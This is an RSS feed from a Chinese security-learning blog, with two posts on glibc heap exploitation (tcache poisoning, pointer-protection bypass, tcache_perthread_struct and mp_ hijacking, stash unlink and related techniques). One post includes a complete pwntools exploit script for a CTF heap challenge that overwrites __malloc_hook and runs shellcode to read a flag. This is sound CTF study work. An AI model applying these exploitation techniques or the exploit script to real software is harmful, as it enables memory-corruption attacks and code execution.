<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>S0ras</title><description>开发与安全学习</description><link>https://huaananan.github.io/S0ras/</link><language>zh_CN</language><item><title>高版本堆利用总结</title><link>https://huaananan.github.io/S0ras/posts/glibc-%E9%AB%98%E7%89%88%E6%9C%AC%E5%A0%86%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93%E5%AD%A6%E4%B9%A0/</link><guid isPermaLink="true">https://huaananan.github.io/S0ras/posts/glibc-%E9%AB%98%E7%89%88%E6%9C%AC%E5%A0%86%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95%E6%80%BB%E7%BB%93%E5%AD%A6%E4%B9%A0/</guid><description>持续补充ing</description><pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Tcachebin&lt;/h1&gt;
&lt;h2&gt;&lt;strong&gt;绕过指针保护&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Chunk b 的 fd 指针存放在地址 0x555555559330
将其右移 12 位（也就是去掉最后三个十六进制位），得到 0x555555559
内存中存储的加密值为 0x55500000c7f9
0x55500000c7f9 ^ 0x0000000555555559 = 0x5555555592a0 即chunk a的数据区

Chunk a 的 fd 指针存放在地址 0x5555555592a0 右移 12 位得到 0x555555559
内存中的加密值为 0x0000000555555559
0x0000000555555559 ^ 0x0000000555555559 = 0x0000000000000000
解密结果为 0，说明 Chunk a 是这个 Tcache 链表上的最后一个块。

def protect_ptr(pos, ptr):
    &quot;&quot;&quot;
    加密指针：用于在利用漏洞覆盖 fd 时，计算出需要写入的加密值
    :param pos: 存放该 fd 指针的内存地址 (即 堆块起始地址 + 0x10)
    :param ptr: 你真正想要 tcache 指向的目标地址 (如栈地址、__free_hook 等)
    :return: 应该写入内存的加密后数据
    &quot;&quot;&quot;
    return (pos &amp;gt;&amp;gt; 12) ^ ptr

def reveal_ptr(pos, val):
    &quot;&quot;&quot;
    解密指针：用于在泄露了堆内存后，还原出真实的下一跳地址
    :param pos: 存放该 fd 指针的内存地址
    :param val: 从内存中泄露/读取出的加密值
    :return: 真实的堆块物理地址
    &quot;&quot;&quot;
    return (pos &amp;gt;&amp;gt; 12) ^ val
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;劫持 tcache_ptheread_struct&lt;/h2&gt;
&lt;p&gt;tcache 引入了两个新的结构体，&lt;code&gt;tcache_entry&lt;/code&gt;和 &lt;code&gt;tcache_perthread_struct&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TCACHE_MAX_BINS:
# define TCACHE_MAX_BINS        64


typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];//0x40
  tcache_entry *entries[TCACHE_MAX_BINS];//0x40
} tcache_perthread_struct;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们在引入了&lt;code&gt;tcache&lt;/code&gt;的glibc版本中，申请第一块&lt;code&gt;chunk&lt;/code&gt;时查看heap状态会发现多申请了一块大小0x250的chunk（glibc2.32+为0x290，因为&lt;code&gt;counts&lt;/code&gt;的类型从char变成了uint16_t）。这个&lt;code&gt;chunk&lt;/code&gt;就是 &lt;code&gt;tcache_perthread_struct&lt;/code&gt;
&lt;code&gt;counts&lt;/code&gt;数组存储的是各个size的&lt;code&gt;tcache bin&lt;/code&gt;中的&lt;code&gt;chunk&lt;/code&gt;数量，而&lt;code&gt;entries&lt;/code&gt;指针数组则存放着各个size的&lt;code&gt;tcache bin&lt;/code&gt;中的第一个&lt;code&gt;chunk&lt;/code&gt;的&lt;code&gt;mem&lt;/code&gt;地址(fd地址而非堆头地址)&lt;/p&gt;
&lt;p&gt;我们来看一下tcache_free函数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);
    if (tcache
        &amp;amp;&amp;amp; tc_idx &amp;lt; mp_.tcache_bins										//mp_.tcache_bins储存的是tcache的最大大小，修改的话可以使largebin 进入tcache
        &amp;amp;&amp;amp; tcache-&amp;gt;counts[tc_idx] &amp;lt; mp_.tcache_count)//&amp;lt;7			//mp_.tcache_count是记录tcache中的chunk数量
      {
        tcache_put (p, tc_idx);
        return;
      }
  }
#endif

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当对应大小的tcachebin中的chunk数量小于7时，会优先放入tcachebin，然而这里检查的是&lt;code&gt;tcache-&amp;gt;counts&lt;/code&gt;数组中的元素，也就是根据&lt;code&gt;tcache_perthread_struct&lt;/code&gt;中的数据来判断，但却没有检查double free&lt;/p&gt;
&lt;p&gt;看在使用tcache时的malloc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  MAYBE_INIT_TCACHE ();
  DIAG_PUSH_NEEDS_COMMENT;
  if (tc_idx &amp;lt; mp_.tcache_bins
      /*&amp;amp;&amp;amp; tc_idx &amp;lt; TCACHE_MAX_BINS*/ /* to appease gcc */
      &amp;amp;&amp;amp; tcache
      &amp;amp;&amp;amp; tcache-&amp;gt;entries[tc_idx] != NULL)
    {
      return tcache_get (tc_idx);
    }
  DIAG_POP_NEEDS_COMMENT;
#endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里是根据&lt;code&gt;tcache-&amp;gt;entries&lt;/code&gt;数组的元素来索引tcachebins中的第一个chunk，同样也是根据&lt;code&gt;tcache_perthread_struct&lt;/code&gt;中的数据来判断。
所以说，如果我们能够修改&lt;code&gt;tcache_perthread_struct&lt;/code&gt;中的数据，也就能控制整个tcachebins。我们可以修改counts数组的数量，以将chunk放到我们想放置的其他bins中（比如放入unsortedbin来泄露malloc_hook，libc），也可以修改entries数组的数据来malloc任意地址。&lt;/p&gt;
&lt;p&gt;例题：SWPUCTF_2019_p1KkHeap&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3

&apos;&apos;&apos;
    author: GeekCmore
    time: 2026-03-24 10:16:56
&apos;&apos;&apos;
from pwncli import *

filename = &quot;SWPUCTF_2019_p1KkHeap_patched&quot;
libcname = &quot;/home/pwn/.config/cpwn/pkgs/2.27-3ubuntu1.2/amd64/libc6_2.27-3ubuntu1.2_amd64/lib/x86_64-linux-gnu/libc.so.6&quot;
host = &quot;127.0.0.1&quot;
port = 1337
container_id = &quot;&quot;
proc_name = &quot;&quot;
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = &apos;&apos;&apos;
b main
set debug-file-directory /home/pwn/.config/cpwn/pkgs/2.27-3ubuntu1.2/amd64/libc6-dbg_2.27-3ubuntu1.2_amd64/usr/lib/debug
set directories /home/pwn/.config/cpwn/pkgs/2.27-3ubuntu1.2/amd64/glibc-source_2.27-3ubuntu1.2_all/usr/src/glibc/glibc-2.27
&apos;&apos;&apos;

def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript = gs)
    elif args.REMOTE:
        return remote(host, port)
    elif args.DOCKER:
        import docker
        from os import path
        p = remote(host, port)
        client = docker.from_env()
        container = client.containers.get(container_id=container_id)
        processes_info = container.top()
        titles = processes_info[&apos;Titles&apos;]
        processes = [dict(zip(titles, proc)) for proc in processes_info[&apos;Processes&apos;]]
        target_proc = []
        for proc in processes:
            cmd = proc.get(&apos;CMD&apos;, &apos;&apos;)
            exe_path = cmd.split()[0] if cmd else &apos;&apos;
            exe_name = path.basename(exe_path)
            if exe_name == proc_name:
                target_proc.append(proc)
        idx = 0
        if len(target_proc) &amp;gt; 1:
            for i, v in enumerate(target_proc):
                print(f&quot;{i} =&amp;gt; {v}&quot;)
            idx = int(input(f&quot;Which one:&quot;))
        import tempfile
        with tempfile.NamedTemporaryFile(prefix = &apos;cpwn-gdbscript-&apos;, delete=False, suffix = &apos;.gdb&apos;, mode = &apos;w&apos;) as tmp:
            tmp.write(f&apos;shell rm {tmp.name}\n{gs}&apos;)
        print(tmp.name)
        run_in_new_terminal([&quot;sudo&quot;, &quot;gdb&quot;, &quot;-p&quot;, target_proc[idx][&apos;PID&apos;], &quot;-x&quot;, tmp.name])
        return p
    else:
        return process(elf.path)

def add(size):
    &quot;&quot;&quot;
    1. Add Note
    size 最大不超过 0x100
    &quot;&quot;&quot;
    io.recvuntil(b&quot;Your Choice: &quot;)
    io.sendline(b&quot;1&quot;)
    io.recvuntil(b&quot;size: &quot;)
    io.sendline(str(size).encode())

def show(idx):
    &quot;&quot;&quot;
    2. Show Note
    用于泄露地址 (Heap/Libc)
    &quot;&quot;&quot;
    io.recvuntil(b&quot;Your Choice: &quot;)
    io.sendline(b&quot;2&quot;)
    io.recvuntil(b&quot;id: &quot;)
    io.sendline(str(idx).encode())

def edit(idx, content):
    &quot;&quot;&quot;
    3. Edit Note
    用于 UAF 写入，劫持 fd 指针
    &quot;&quot;&quot;
    io.recvuntil(b&quot;Your Choice: &quot;)
    io.sendline(b&quot;3&quot;)
    io.recvuntil(b&quot;id: &quot;)
    io.sendline(str(idx).encode())
    io.recvuntil(b&quot;content: &quot;)
    io.send(content)

def delete(idx):
    &quot;&quot;&quot;
    4. Delete Note
    释放堆块（存在 UAF 漏洞）
    &quot;&quot;&quot;
    io.recvuntil(b&quot;Your Choice: &quot;)
    io.sendline(b&quot;4&quot;)
    io.recvuntil(b&quot;id: &quot;)
    io.sendline(str(idx).encode())

# 隐藏彩蛋 (非关键功能)
def easter_egg():
    io.recvuntil(b&quot;Your Choice: &quot;)
    io.sendline(b&quot;666&quot;)

io = start()

# add(0x20)
# add(0x20)
# delete(0)
# delete(1)
# show(1)

# io.recvuntil(b&quot;content: &quot;)
# heap = u64(io.recv(6).ljust(8, b&quot;\x00&quot;))
# log.info(f&quot;heap: {hex(heap)}&quot;)

add(0xf0)#0
delete(0)
delete(0)
show(0)

io.recvuntil(b&quot;content: &quot;)
heap = u64(io.recv(6).ljust(8, b&quot;\x00&quot;)) - 0x260 + 0x10
log.info(f&quot;heap: {hex(heap)}&quot;)

add(0xf0)#1
edit(1,p64(heap))
add(0xf0)#2
add(0xf0)#3
payload = flat([0x0707070707070707]) * 8 + flat([0,0,0,0,0,0,0x66660100])
edit(3,payload)
delete(3)
show(3)

io.recvuntil(b&quot;content: &quot;)
libc.address = u64(io.recv(6).ljust(8, b&quot;\x00&quot;)) + 0x793cf280f000 - 0x793cf2bfaca0
log.info(f&quot;libc: {hex(libc.address)}&quot;)

payload = flat([0x0101010101010101]) * 8 + flat([0,0,0,0,0,0,0x66660100,0,libc.sym[&apos;__malloc_hook&apos;]])
add(0xf0)
edit(4,payload)
add(0x70)#5
shellcode = asm(shellcraft.open(&apos;/flag&apos;)+shellcraft.read(3,heap+0x500,0x100)+shellcraft.write(1,heap+0x500,0x100))
edit(5,shellcode)

add(0x90)#6

# # show(7)
edit(6,p64(0x66660100))
gdb.attach(io)
add(0x80)



io.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;讲解一下做题思路：&lt;/p&gt;
&lt;p&gt;在libc 2.29之前，tcache的free是缺少对double free 的检查的，因此我们通过double free来修改 tcache fd来进行tcache poisoning来malloc到tcache_ptheread_struct，通过修改&lt;code&gt;counts[TCACHE_MAX_BINS]&lt;/code&gt;来让tcache进入unsorted bin,通过修改&lt;code&gt;tcache_entry&lt;/code&gt;来进行任意地址写&lt;/p&gt;
&lt;p&gt;通过修改__malloc_hook来控制执行流到shellcode&lt;/p&gt;
&lt;h2&gt;修改线程 tcache 变量&lt;/h2&gt;
&lt;p&gt;在 &lt;code&gt;tls&lt;/code&gt; 区域，有一个线程变量 &lt;code&gt;tcache&lt;/code&gt;，如果能用 &lt;code&gt;largebin attack&lt;/code&gt; 修改 &lt;code&gt;tcache&lt;/code&gt; 变量，也可以控制 &lt;code&gt;tcache&lt;/code&gt; 的分配。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; tls
tls : 0x7aaf512ca540

pwndbg&amp;gt; x/20gx 0x7aaf512ca540-0x50
0x7aaf512ca4f0: 0x0000602dc4c94010      0x0000000000000000		--&amp;gt;tcache_perthread_struct的指针
0x7aaf512ca500: 0x00007aaf50ffac40      0x0000000000000000
0x7aaf512ca510: 0x0000000000000000      0x0000000000000000
0x7aaf512ca520: 0x0000000000000000      0x0000000000000000
0x7aaf512ca530: 0x0000000000000000      0x0000000000000000
0x7aaf512ca540: 0x00007aaf512ca540      0x00007aaf512cae90
0x7aaf512ca550: 0x00007aaf512ca540      0x0000000000000000
0x7aaf512ca560: 0x0000000000000000      0x729d5c3ccc58ee00
0x7aaf512ca570: 0x6e9a2eb5632d2694      0x0000000000000000
0x7aaf512ca580: 0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此，我们可以通过largebin attack进行对于这个指针的修改，将tcache_perthread_struct修改为我们可以控制的堆地址&lt;/p&gt;
&lt;h2&gt;修改 mp_结构体&lt;/h2&gt;
&lt;p&gt;相关链接:&lt;a href=&quot;https://peterliuzhi.top/principle/mp_.tcache_bins%E5%9F%BA%E6%9C%AC%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/&quot;&gt;mp_.tcache_bins基本漏洞利用 - P3troL1er 的个人博客&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;关注与 &lt;code&gt;tcache&lt;/code&gt; 有关的几个变量：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct malloc_par
{
	//......
#if USE_TCACHE
  /* Maximum number of buckets to use.  */
  size_t tcache_bins;
  size_t tcache_max_bytes;
  /* Maximum number of chunks in each bucket.  */
  size_t tcache_count;
  /* Maximum number of chunks to remove from the unsorted list, which
     aren&apos;t used to prefill the cache.  */
  size_t tcache_unsorted_limit;
#endif
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;修改掉 &lt;code&gt;tcache_bins&lt;/code&gt; 可以把很大的 &lt;code&gt;chunk&lt;/code&gt; 用 &lt;code&gt;tcachebin&lt;/code&gt; 管理；修改掉 &lt;code&gt;tcache_count&lt;/code&gt; 可以控制链表的 &lt;code&gt;chunk&lt;/code&gt; 的数量。&lt;code&gt;tcache_max_bytes&lt;/code&gt; 目前没啥用，&lt;code&gt;tcache_unsorted_limit&lt;/code&gt; 可以影响 &lt;code&gt;unsortedbin&lt;/code&gt; 链表的遍历过程。&lt;/p&gt;
&lt;p&gt;mp结构体的地址可以通过gdb调试得到&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;C:\Users\hua\AppData\Roaming\Typora\typora-user-images\image-20260325163422061.png&quot; alt=&quot;image-20260325163422061&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;tcache_bins&lt;/h3&gt;
&lt;p&gt;修改&lt;code&gt;tcache_bins&lt;/code&gt;可以扩大tcache chunk的大小限制&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;可以在限制&lt;code&gt;largebin&lt;/code&gt;的题目下进行&lt;code&gt;tcache poisoning&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;相关例题有suctf2025 su_text		&lt;a href=&quot;https://blog.0xfff.team/posts/suctf_2025_writeup/#su_text&quot;&gt;SUCTF 2025 Writeup by 0xFFF ::&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;当&lt;code&gt;mp_.tcache_bins&lt;/code&gt;足够大的时候，我们是可以将一个大chunk放进tcache bin中的，只是由于tcache分配在堆上，这个索引值又太大，所以这个大chunk的地址（链表头）会被放进相邻的chunk中&lt;/p&gt;
&lt;p&gt;说简单点，tcache_bin足够大时，我们分配的大chunk进入bin时他的地址会存到相邻chunk里面 ,如果相邻的这个chunk我们可控的话，把这个地址覆盖成free_hook等,再写入我们需要的内容，比如one_gadget，system等就能getshell&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;tcache_unsorted_limit&lt;/h3&gt;
&lt;p&gt;利用整理unsorted bin的机制实现在限制malloc的情况下的多次largebin attack,本身无利用方式&lt;/p&gt;
&lt;h1&gt;fastbin&lt;/h1&gt;
&lt;h2&gt;house of corrosion&lt;/h2&gt;
&lt;p&gt;使用的范围只能在 &lt;code&gt;2.35~2.37&lt;/code&gt;，进入到 &lt;code&gt;2.37&lt;/code&gt; 之后，&lt;code&gt;global_max_fast&lt;/code&gt; 的类型被修改为 &lt;code&gt;int8_t&lt;/code&gt;，使用该技巧可以控制的地址范围大大缩小。&lt;/p&gt;
&lt;p&gt;暂时先放一放&lt;/p&gt;
&lt;h2&gt;Tcache Reverse Into Fastbin&lt;/h2&gt;
&lt;h3&gt;目的&lt;/h3&gt;
&lt;p&gt;1.让任意地址进入tcache中，再取出tcache进行任意地址写。&lt;/p&gt;
&lt;p&gt;2.对任意一个地址，写入一个可控的堆上地址。&lt;/p&gt;
&lt;h3&gt;条件&lt;/h3&gt;
&lt;p&gt;1.能反复创建释放14个以上的fastbin。&lt;/p&gt;
&lt;p&gt;2.能修改其中一个fastbin的fd&lt;/p&gt;
&lt;p&gt;3.用tcache机制&lt;/p&gt;
&lt;p&gt;参考地址：&lt;a href=&quot;https://lexsd6.github.io/2022/06/17/how2heap-fastbin_reverse_into_tcache-%E5%AD%A6%E4%B9%A0/&quot;&gt;how2heap-fastbin_reverse_into_tcache-学习 | lexsd6&apos;s home&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;目前检查了对齐，所以要注意控制的地址要是 &lt;code&gt;0x?0&lt;/code&gt; 结尾，否则报错。利用效果是任意地址写一个 &lt;code&gt;libc&lt;/code&gt; 地址。&lt;/p&gt;
&lt;p&gt;虽然 &lt;code&gt;0x?0&lt;/code&gt; 写的是加密后的堆地址，但是 &lt;code&gt;0x?8&lt;/code&gt; 会写上 &lt;code&gt;tcache_key&lt;/code&gt;，这也是可以利用的点。而且，在写上地址后，还能分配到该处。其利用过程如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分配 &lt;code&gt;13&lt;/code&gt; 个 &lt;code&gt;fastbin&lt;/code&gt; 范围内的 &lt;code&gt;chunk&lt;/code&gt;，假设大小为 &lt;code&gt;A&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;全部释放这 &lt;code&gt;13&lt;/code&gt; 个 &lt;code&gt;chunk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;分配 &lt;code&gt;7&lt;/code&gt; 个，把 &lt;code&gt;tcachebin[A]&lt;/code&gt; 耗尽&lt;/li&gt;
&lt;li&gt;把 &lt;code&gt;fastbin&lt;/code&gt; 最后一个 &lt;code&gt;chunk&lt;/code&gt; 的 &lt;code&gt;fd&lt;/code&gt; 修改为 &lt;code&gt;addr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;调用一次 &lt;code&gt;malloc(A)&lt;/code&gt; 即可触发 &lt;code&gt;tcache reverse into fastbin&lt;/code&gt;，可以分配到 &lt;code&gt;addr&lt;/code&gt;，也能给 &lt;code&gt;addr/addr+8&lt;/code&gt; 处写上地址 / 数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;题目：&lt;/strong&gt;&lt;a href=&quot;https://www.cnblogs.com/JmpCliff/articles/17392759.html&quot;&gt;tcache七星剑法：轮回——Fastbin reverse into tcache - Jmp·Cliff - 博客园&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;Smallbin&lt;/h1&gt;
&lt;h2&gt;&lt;strong&gt;House of Lore&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;在栈上分配chunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;--heap
vivtim chunk(small chunk)
bk		--&amp;gt;		fake chunk1

    
stack

fake_chunk2    
fd		--&amp;gt;fake_chunk  1  
bk		--&amp;gt;未定义即可    
    
fake_chunk1
fd		--&amp;gt;victim chunk
bk		--&amp;gt;fake_chunk2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;house of lore&lt;/code&gt; 使用的时候，一方面是需要满足 &lt;code&gt;victim-&amp;gt;fd-&amp;gt;bk == victim&lt;/code&gt;；另一方面，需要绕过下面讲的 &lt;code&gt;tcache stash unlink&lt;/code&gt; 流程。除此之外，还需要注意内存对齐的问题。&lt;/p&gt;
&lt;h2&gt;Tcache Stash Unlink Attack&lt;/h2&gt;
&lt;p&gt;第一个技巧叫 &lt;code&gt;tcachebin stash unlinking&lt;/code&gt;，下面称之为 &lt;code&gt;TSU&lt;/code&gt; 技巧：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tcachebin[A]&lt;/code&gt; 为空&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smallbin[A]&lt;/code&gt; 有 &lt;code&gt;8&lt;/code&gt; 个&lt;/li&gt;
&lt;li&gt;修改第 &lt;code&gt;8&lt;/code&gt; 个 &lt;code&gt;smallbin chunk&lt;/code&gt; 的 &lt;code&gt;bk&lt;/code&gt; 为 &lt;code&gt;addr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;分配 &lt;code&gt;malloc(A)&lt;/code&gt; 的时候，&lt;code&gt;addr+0x10&lt;/code&gt; 会被写一个 &lt;code&gt;libc&lt;/code&gt; 地址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;第二个技巧叫 &lt;code&gt;tcachebin stash unlinking+&lt;/code&gt;，下面称之为 &lt;code&gt;TSU+&lt;/code&gt; 技巧：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tcachebin[A]&lt;/code&gt; 为空&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smallbin[A]&lt;/code&gt; 有 &lt;code&gt;8&lt;/code&gt; 个&lt;/li&gt;
&lt;li&gt;修改第 &lt;code&gt;7&lt;/code&gt; 个 &lt;code&gt;smallbin chunk&lt;/code&gt; 的 &lt;code&gt;bk&lt;/code&gt; 为 &lt;code&gt;addr&lt;/code&gt;，还要保证 &lt;code&gt;addr+0x18&lt;/code&gt; 是一个合法可写的地址&lt;/li&gt;
&lt;li&gt;分配 &lt;code&gt;malloc(A)&lt;/code&gt; 的时候，&lt;code&gt;addr&lt;/code&gt; 会被链入到 &lt;code&gt;tcachebin&lt;/code&gt;，也就是可以分配到 &lt;code&gt;addr&lt;/code&gt; 处&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可以看到，和 &lt;code&gt;fastbin reverse into tcache&lt;/code&gt; 的攻击方法很类似，但是得到的效果不一样。&lt;code&gt;TSU&lt;/code&gt; 可以在任意地址写 &lt;code&gt;libc&lt;/code&gt; 地址，而 &lt;code&gt;TSU+&lt;/code&gt; 除了可以写 &lt;code&gt;libc&lt;/code&gt; 地址，还能再任意地址分配。&lt;/p&gt;
&lt;p&gt;要注意的是，只要tcache还有空闲位置并且smallbin chunk数量比tcache 空闲位置多一个即可，当然还可以通过伪造fake_smallbin_chunk来增加smallbin chunk数量&lt;/p&gt;
&lt;h1&gt;Largebin&lt;/h1&gt;
&lt;h2&gt;Largebin attack&lt;/h2&gt;
&lt;p&gt;无需多言，注意高版本的特殊条件&lt;/p&gt;
&lt;h2&gt;House of Husk&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;house of husk&lt;/code&gt; 方法仍然可以利用，需要找到一个格式化字符串的场景，且打 &lt;code&gt;house of husk&lt;/code&gt; 的时候，至少需要两次格式化字符串。&lt;/p&gt;
&lt;p&gt;学习链接：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anquanke.com/post/id/202387&quot;&gt;house-of-husk学习笔记&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507#House-of-Husk&quot;&gt;House of Husk - CTFするぞ&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Libc/Ld 上的变量&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;libc/ld&lt;/code&gt; 的地址空间上关键变量非常多，比如&lt;code&gt;_IO_list_all&lt;/code&gt;，&lt;code&gt;pointer_guard&lt;/code&gt;、&lt;code&gt;tcache&lt;/code&gt; 等等。&lt;/p&gt;
</content:encoded></item><item><title>tcache</title><link>https://huaananan.github.io/S0ras/posts/tcache/</link><guid isPermaLink="true">https://huaananan.github.io/S0ras/posts/tcache/</guid><description>补充一下tcache</description><pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;tcache基础与tcache poisoning&lt;/h2&gt;
&lt;p&gt;tcache是Glibc 2.26之后引入的，用来提高堆管理的速度&lt;/p&gt;
&lt;p&gt;tcache引入了两个新的结构体：&lt;code&gt;tcache_entry&lt;/code&gt;和&lt;code&gt;tcache_perthread_struct&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;tcache_entry：&lt;/strong&gt;&lt;code&gt;tcache_entry&lt;/code&gt;用于链接空闲的chunk结构体，其中&lt;code&gt;next&lt;/code&gt;指针指向下一个&lt;code&gt;大小相同&lt;/code&gt;的chunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里需要注意的是next指向chunk的&lt;code&gt;data&lt;/code&gt;部分，这和fastbin有一些不同，fastbin的fd指向的是下一个chunk的头指针。tcache_entry会复用空闲chunk的data 部分&lt;/p&gt;
&lt;p&gt;**tcache_perthread_struct:**tcache_perthread_struct是用来管理tcache链表的，这个结构体位于heap段的起始位置，size大小为0x251,每一个thread都会维护一个&lt;code&gt;tcache_perthread_struct&lt;/code&gt;结构体，一共有&lt;code&gt;TCACHE_MAX_BINS&lt;/code&gt;个计数器&lt;code&gt;TCACHE_MAX_BINS&lt;/code&gt;项tcache_entry&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];						//counts 记录了 tcache_entry 链上空闲 chunk 的数目，每条链上最多可以有 7 个 chunk
  tcache_entry *entries[TCACHE_MAX_BINS];		//tcache_entry 用单向链表的方式链接了相同大小的处于空闲状态（free 后）的 chunk
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64

static __thread tcache_perthread_struct *tcache = NULL;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://i-blog.csdnimg.cn/blog_migrate/cf7fd07a7b6e50fb2aa73d40e232b166.jpeg#pic_center&quot; alt=&quot;在这里插入图片描述&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;tcache poisoning&lt;/h4&gt;
&lt;p&gt;tcache poisoning主要的利用手段是覆盖tcache中的next成员变量，由于tcache_get()函数没有对next进行检查，所以理论上来讲如果我们将next中的地址进行替换，不需要伪造任何chunk结构即可实现malloc到任何地址&lt;/p&gt;
&lt;h5&gt;libc 2.29&lt;/h5&gt;
&lt;p&gt;Tcache Key&lt;/p&gt;
&lt;p&gt;在每个空闲 chunk 的 &lt;code&gt;fd&lt;/code&gt; 指针旁边（即原 &lt;code&gt;bk&lt;/code&gt; 指针的位置），你都能看到一个一模一样的神秘数值：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x5555555592a8&lt;/code&gt;: &lt;code&gt;0x313f315503c525e4&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x555555559338&lt;/code&gt;: &lt;code&gt;0x313f315503c525e4&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这是 &lt;strong&gt;Tcache Key&lt;/strong&gt;（在 glibc 2.29 引入）&lt;/p&gt;
&lt;p&gt;当一个 chunk 被放入 Tcache 时，glibc 会在这个位置写入一个随机生成的 8 字节密钥（每个程序的生命周期内这个密钥是固定的，存放在 &lt;code&gt;tcache_perthread_struct&lt;/code&gt; 中&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;它的作用是防御 Tcache Double-Free：&lt;/strong&gt; 如果在程序执行 &lt;code&gt;free(p)&lt;/code&gt; 时，堆管理器发现 &lt;code&gt;p&lt;/code&gt; 的 key 位置存放的值与当前的 Tcache Key 相等，它就会遍历对应的 Tcache 链表。如果发现这个 chunk 已经在链表中了，就会直接报 &lt;code&gt;double free or corruption (fasttop)&lt;/code&gt; 的 crash，从而阻止攻击者通过连续两次 free 同一个 chunk 来构造循环链表。&lt;/p&gt;
&lt;h5&gt;libc 2.32&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x290 (with flag bits: 0x291)

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559290
Size: 0x90 (with flag bits: 0x91)
fd: 0x555555559

Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555559320
Size: 0x90 (with flag bits: 0x91)
fd: 0x55500000c7f9

Top chunk | PREV_INUSE
Addr: 0x5555555593b0
Size: 0x20c50 (with flag bits: 0x20c51)

pwndbg&amp;gt; x/50gx 0x555555559290
0x555555559290: 0x0000000000000000      0x0000000000000091		--&amp;gt; chunk a
0x5555555592a0: 0x0000000555555559      0x313f315503c525e4
0x5555555592b0: 0x0000000000000000      0x0000000000000000
0x5555555592c0: 0x0000000000000000      0x0000000000000000
0x5555555592d0: 0x0000000000000000      0x0000000000000000
0x5555555592e0: 0x0000000000000000      0x0000000000000000
0x5555555592f0: 0x0000000000000000      0x0000000000000000
0x555555559300: 0x0000000000000000      0x0000000000000000
